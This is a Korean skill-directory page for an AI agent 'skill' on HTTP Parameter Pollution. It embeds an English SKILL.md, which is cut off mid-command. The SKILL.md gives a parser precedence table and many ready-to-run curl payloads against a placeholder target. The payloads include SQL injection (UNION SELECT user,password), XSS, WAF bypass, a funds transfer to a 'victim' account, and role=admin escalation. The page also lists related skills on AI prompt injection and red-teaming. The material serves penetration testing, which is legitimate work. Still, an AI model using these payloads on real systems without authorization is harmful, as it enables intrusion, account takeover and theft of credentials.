hpp
하는 일
이 스킬은 중복된 요청 파라미터가 방화벽, 서버, 앱에서 다르게 읽힐 수 있는 방식을 설명합니다. 이 차이 때문에 공격이나 접근 확인이 빠져나가는지 점검하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓방화벽과 앱이 반복된 URL 또는 폼 파라미터를 서로 다르게 읽을 수 있는 경우.
- ✓로그인이나 접근 확인이 중복될 수 있는 파라미터를 사용할 때.
- ✓반복된 값으로 보안 필터를 우회할 수 있는지 테스트하고 싶을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“제 앱에 같은 id 파라미터를 두 번 보내면 접근되는 계정이 바뀌는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 중복 파라미터를 보내고 각 계층이 사용하는 값을 비교하며, 필터가 확인하는 것과 앱이 실제로 처리하는 것 사이의 차이를 찾습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
HTTP Parameter Pollution (HPP)
Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.
1. Parser precedence table
When ?id=1&id=2 (or duplicated body params) is received:
| Stack | request.GET['id'] / equivalent |
getParameterValues / list view |
|---|---|---|
PHP ($_GET) |
last wins (2) |
$_GET['id[]'] only; otherwise the dup is dropped |
ASP.NET (Request.QueryString["id"]) |
comma-concatenated ("1,2") |
GetValues returns both |
| ASP Classic | comma-concatenated | — |
Java Servlet (getParameter) |
first (1) |
getParameterValues returns both |
Java Spring @RequestParam String |
first | List<String> binds both |
Node.js qs (Express default) |
array (["1","2"]) |
n/a |
Node.js querystring (legacy) |
array | n/a |
Python Flask request.args.get |
first | getlist returns both |
Python Django request.GET['id'] |
last | getlist returns both |
Python urllib.parse.parse_qs |
list (["1","2"]) |
— |
| Ruby on Rails | last | params[:id] is the last; arrays via id[]= |
Go net/http r.URL.Query().Get |
first | ["id"] returns all |
Perl CGI param("id") |
first in scalar, list in list context | — |
nginx $arg_id |
first | — |
Apache mod_rewrite %{QUERY_STRING} |
raw — passes both | — |
| AWS API Gateway → Lambda proxy | last in queryStringParameters, all in multiValueQueryStringParameters |
— |
| Cloudflare WAF | inspects all values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |
The exploitable pattern: WAF/proxy reads value A, app reads value B.
2. Detection
# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'
# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300
# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'
# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2" # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dup
Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
echo "== $pair =="
curl -s "http://<TARGET>/echo?$pair"
echo
done
3. WAF bypass via duplicate parameters
The WAF inspects one occurrence; the app concatenates / picks the other.
# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
--data-urlencode "q=1" \
--data-urlencode "q=UNION SELECT user,password FROM users--"
# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
--data-urlencode "q=harmless" \
--data-urlencode "q=<svg/onload=alert(1)>"
# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
--data-urlencode "host=' OR 1=1--" \
--data-urlencode "host=8.8.8.8"
Mixed source confusion — GET vs POST:
# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=admin'
4. Server-side HPP — auth / ACL bypass
The auth layer evaluates one value; the controller acts on another.
# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.
# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
-d 'role=user&username=x&role=admin'
# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_
자주 묻는 질문
어떤 웹 프레임워크를 비교하나요?
PHP, ASP.NET, Java, Node.js, Python, Ruby가 반복된 파라미터에서 어떤 값을 고르는지 정리한 표를 포함합니다.
이것 자체로 보통 심각한 버그인가요?
이 스킬은 단독으로는 보통 낮거나 중간 수준이라고 말하며, 다른 공격과 연결되면 더 심각해진다고 설명합니다.
URL에만 해당하나요?
아닙니다. 폼의 본문 파라미터가 중복되는 경우도 다룹니다.
상세 정보
작성자의 원본 설명
HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14065
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.